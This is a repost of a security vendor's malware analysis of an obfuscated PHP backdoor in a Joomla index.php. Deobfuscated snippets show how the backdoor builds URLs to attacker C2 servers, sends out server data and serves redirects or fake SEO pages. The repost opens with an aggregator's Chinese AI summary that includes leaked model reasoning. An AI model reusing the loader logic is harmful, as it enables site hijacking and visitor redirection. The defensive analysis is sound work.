Joomla SEO Spam Injector: Obfuscated PHP Backdoor Hijacking Site Visitors
嗯,用户让我帮忙总结一下这篇文章的内容,控制在一百个字以内,而且不需要用“文章内容总结”之类的开头。直接写描述就行。首先,我需要仔细阅读这篇文章,了解它的主要内容。 文章讲的是Sucuri在处理一个恶意软件清理调查时遇到的情况。他们发现了一个被黑的Joomla网站,网站所有者报告说有很多可疑的产品链接,这些链接和他们的业务无关。这些产品链接不是网站所有者添加的,也不在他们的目录里。访问者和搜索引擎看到的都是推广无关产品的页面,这让他们担心是不是被注入了垃圾信息或者远程内容被篡改了。 SEO垃圾信息是Sucuri处理的最常见的网站感染类型之一。攻击者注入恶意代码,在不被网站所有者察觉的情况下,向访问者和搜索引擎显示垃圾内容。目的是利用网站的声誉将流量引导到攻击者想推广的产品上。 他们检查网站时,在Joomla的index.php文件顶部发现了一段高度混淆的PHP代码。这段恶意软件做了三件事:联系外部命令控制服务器(C2),接收指令,然后根据指令重定向访问者或注入垃圾内容。 这次攻击的一个新特点是恶意软件本身并不直接包含可疑产品链接的内容。相反,它作为一个远程加载器,联系外部服务器获取指令。这样攻击者可以在不修改本地文件的情况下随时改变网站行为。 另外,代码中的字符串不是存储为单一的base64块,而是分成两个字符的字符串,在运行时重新组合执行。这样可以避免被基于签名的扫描器检测到。 涉及的三个域名中,两个是活跃的C2服务器,一个是死掉的诱饵。当感染网站加载时,脚本会尝试联系这些域名并发送服务器环境信息。响应决定网站如何行为。 指标包括高度混淆的PHP代码、可疑的外向请求以及无关的产品链接出现。分析显示恶意软件由四个PHP函数组成,每个函数有不同的角色:解码器、字符串查找表、流量控制器和HTTP请求器。 修复措施包括移除恶意代码、重置管理员密码、进行全面文件完整性检查等。预防步骤包括更新Joomla核心和扩展、使用WAF、使用强密码、限制文件权限等。 总结来说,这篇文章详细描述了一个针对Joomla网站的高度混淆恶意软件感染事件,强调了远程控制和动态内容注入的特点,并提供了修复和预防建议。 </think> 本文描述了一起针对Joomla网站的恶意软件感染事件。攻击者通过注入高度混淆的PHP代码控制网站,在未存储本地的情况下动态生成无关产品链接或重定向访问者。该恶意软件通过联系外部C2服务器获取指令,并采用分段字符串技术规避检测。 Sucuri团队通过移除恶意代码和加强安全措施修复了问题,并提供了预防建议以防止类似事件发生。 2026-4-16 18:45:58 Author: blog.sucuri.net(查看原文) 阅读量:24 收藏

Overview

During a recent malware cleanup investigation, we encountered a compromised Joomla website where the site owner reported a strange issue. Their website displayed a large number of suspicious product links that had nothing to do with their business. These products were not added by the website owner and did not exist in their catalog.

Visitors and search engines were seeing pages that promoted unrelated products, raising immediate concerns about spam injection or remote content manipulation.

SEO spam is one of the most common types of website infections we handle at Sucuri. Attackers inject malicious code that silently serves spam content to visitors and search engines, all without the site owner knowing. The goal is simple: abuse the site’s reputation to push traffic towards products the attacker wants to promote.

What Did We Find?

When we inspected the site, we found a block of heavily obfuscated PHP code injected at the very top of the site’s index.php file.

Underneath the obfuscation, the malware was doing three things:

  • Contacting external command-and-control (C2) servers
  • Receiving instructions
  • Redirecting visitors or injecting spam content accordingly.

What Was New This Time?

One interesting aspect of this infection is that the malware itself does not directly include the spam content linked to the suspicious product listings reported by the site owner.

Instead, the script acts as a remote loader. It contacts an external server, sends information about the infected website, and waits for instructions. The response from the remote server determines what content the infected site should serve.

This approach allows attackers to change the behavior of the compromised website at any time without modifying the local files again. The attacker can inject spam product links, redirect visitors, or display malicious pages dynamically.

Another thing we noticed was that the strings are not stored as single base64 blobs. Instead, the code is broken into two-character strings that reassemble and execute perfectly at runtime. This helps avoid many signature-based scanners that look for a recognisable base64 string.

code broken into two-character strings

Domains Involved in the Infection

Three domains appear in this malware. Two are active C2s. One is a dead decoy.

  • PRIMARY: cdn[.]erpsaz[.]com – Primary C2
  • FALLBACK: cdn[.]saholerp[.]com – Fallback C2, used automatically if the primary returns an empty response
  • Doesn’t return anything: lashowroom[.]com – Decoded into the string table at mpjy(25) but never referenced by any index call that constructs a URL. Present in the code but was never used.

These domains appear inside the encoded payload and are used by the malware to retrieve instructions from attacker-controlled infrastructure.

When the infected website loads, the script tries to contact these domains and send details about the server environment. The response from these servers determines how the website behaves.

Indicators of Compromise (IoC)

One of the main indicators in this case was the presence of heavily obfuscated PHP code injected at the top of the Joomla index.php file.

heavily obfuscated PHP code

Other indicators included suspicious outbound requests to external domains and the appearance of unrelated product links on the site. These links were not stored in the Joomla database, but were instead injected dynamically by the malicious loader script.

Analysis of the Malware

The malware is structured across four PHP functions, each with a specific role. We walk through each one in full detail below.

1. wffn(): The Bootstrap Decoder

Everything in this malware depends on this tiny function. It exists purely to avoid writing the words explode and base64_decode anywhere in plain text, since those strings are flagged by many security scanners:

The Bootstrap Decoder

Even base64_decode is split across string concatenations (BASE6 + 4_dec + ODE) so it doesn’t appear as a literal.

2. mpjy(): The String Lookup Table

This function decodes and caches a master lookup table of 27 strings. The entire table is stored as a single base64 string that is itself assembled from 2-character concatenated chunks:

The String Lookup Table

Once decoded, the base64 string is split on the `~` delimiter to produce 27 indexed entries.

Here is the full resolved table:

mpjy(8)  = 'T'
mpjy(9)  = 'curl_exec'
mpjy(10) = '?ua='
mpjy(11) = 'http'
mpjy(12) = 'method'
mpjy(13) = 'GET'
mpjy(14) = 'timeout'
mpjy(15) = 'http_code'
mpjy(16) = '200'
mpjy(17) = ''
mpjy(18) = 'erpsaz'
mpjy(19) = 'saholerp'
mpjy(21) = '/admin'
mpjy(23) = '.com'
mpjy(24) = '://'
mpjy(25) = 'lashowroom'
mpjy(26) = '.com'

3. fotr(): The Traffic Cop

This is the cloaking engine. It constructs the C2 URL, calls joog() to fetch instructions, then decides what to serve to the current visitor based on the C2 response.

URL Construction:

The C2 URL is assembled by concatenating specific mpjy() indices:

$xsj = joog(mpjy(11).mpjy(24).mpjy(0).mpjy(18).mpjy(23).mpjy(21).mpjy(1));

Decodes to:

// = 'http' + '://' + 'cdn.' + 'erpsaz' + '.com' + '/admin' + '.php'
// = http://cdn[.]erpsaz[.]com/admin.php

Once joog() returns the C2 response into $xsj, fotr() runs three checks:

Mode 1 — Redirect. If the response starts with http, the visitor is silently redirected:

if ($nde[0](mpjy(2), $xsj)) {   // preg_match('/^http/', $xsj)
    $nde[1](mpjy(3).$xsj);       // header('Location: ' . $xsj)
    exit;
}

Mode 2 — Raw payload injection. If the response starts with ##, the prefix is stripped and the remaining content is printed directly into the page:

if ($nde[0](mpjy(4), $xsj)) {   // preg_match('/^##/', $xsj)
    exit($nde[2]($xsj, 2));       // echo substr($xsj, 2)
}

Mode 3 — Fake SEO content. If the response is long enough (>90 chars), the malware checks whether it contains an XML sitemap or HTML page and serves it to search engine crawlers:

if ($nde[3]($xsj) > 90) {                        // strlen($xsj) > 90
    if ($nde[4]($xsj, mpjy(5))) {                // strstr($xsj, '</urlset>')
        $nde[1](mpjy(6));                        // header('Content-type:text/xml')
        exit($xsj);                              // serve fake XML sitemap
    }
    if ($nde[4]($xsj, mpjy(7))) {                // strstr($xsj, '<html')
        exit($xsj);                              // serve fake HTML page
    }
}

This three-mode design is the heart of the cloaking operation. The C2 server knows who is visiting (from the fingerprint data sent in the request) and tailors the response accordingly. Real users get redirected, and search bots get fake keyword-stuffed content designed to manipulate rankings.

4. joog(): The HTTP Requester and Data Exfiltrator

The joog() function handles communication with the remote infrastructure.

joog() function

The script collects server environment data using the $_SERVER variable and encodes it before sending it to the attacker.

This information may include the server host, request path, user agent, and other details that help the attacker understand how the infected site is being accessed.

The flag prevents infinite recursion; it only retries once. This gives the attacker a reliable backup channel if cdn[.]erpsaz[.]com goes offline.

Impact of the Malware

Because this script retrieves instructions from a remote server, attackers can dynamically control the infected website. This can allow them to inject spam product listings, display malicious content, or redirect visitors to other websites.

In this case, the site owner noticed unrelated product links appearing on their website. These links were likely delivered through responses from the remote command server rather than being stored locally on the site.

This type of infection can damage a website’s reputation, incur search engine penalties, and lead to an overall loss of visitor trust.

How We Fixed It

To remediate the infection, we removed the malicious code from the Joomla index.php file and verified that no additional backdoors were present on the server.

We then asked the site owner to reset all administrator credentials. Additionally, a comprehensive file integrity check was carried out to verify that no other malicious modifications persisted.

Prevention Steps

  • Keep Joomla core and all extensions up to date. Joomla versions below 5.X are no longer supported and should be upgraded as soon as possible. The majority of compromises we see exploit known, patched vulnerabilities in outdated installations.
  • Use a Web Application Firewall (WAF). A WAF can block exploit attempts before they reach the application and prevent outbound C2 communication from compromised servers.
  • Use strong, unique passwords for the Joomla admin panel and enable two-factor authentication or IP restrictions wherever possible.
  • Restrict file permissions. PHP files should not be world-writable. Set directories to 755 and files to 644 as a baseline.
  • Regularly audit installed extensions and remove anything that is unused, abandoned, or sourced from untrustworthy providers.

Conclusion

This case highlights how attackers use small, heavily obfuscated loader scripts to remotely control compromised websites. Instead of embedding spam directly in the site files, the malware contacts external servers and retrieves instructions dynamically.

The lashowroom[.]com domain is a particularly notable detail. It is fully decoded at runtime, sits visually adjacent to the real C2 domains in the string table, but is never called.

Because the malicious behavior can change at any time, these infections can remain unnoticed for long periods while attackers quietly manipulate the site’s content.

If your Joomla site is showing unexpected links, products, or content that does not belong to you, consult a security professional for a full site audit. A backdoor like this one is almost always sitting quietly at the very top of that file.

Regular security monitoring, timely software updates, and careful inspection of core files are essential steps in preventing and detecting these types of compromises.

If you suspect your site has been compromised and need expert assistance, Sucuri offers professional website malware removal and ongoing security monitoring.

Chat with Sucuri


文章来源: https://blog.sucuri.net/2026/04/joomla-seo-spam-injector-obfuscated-php-backdoor-hijacking-site-visitors.html
如有侵权请联系:admin#unsafe.sh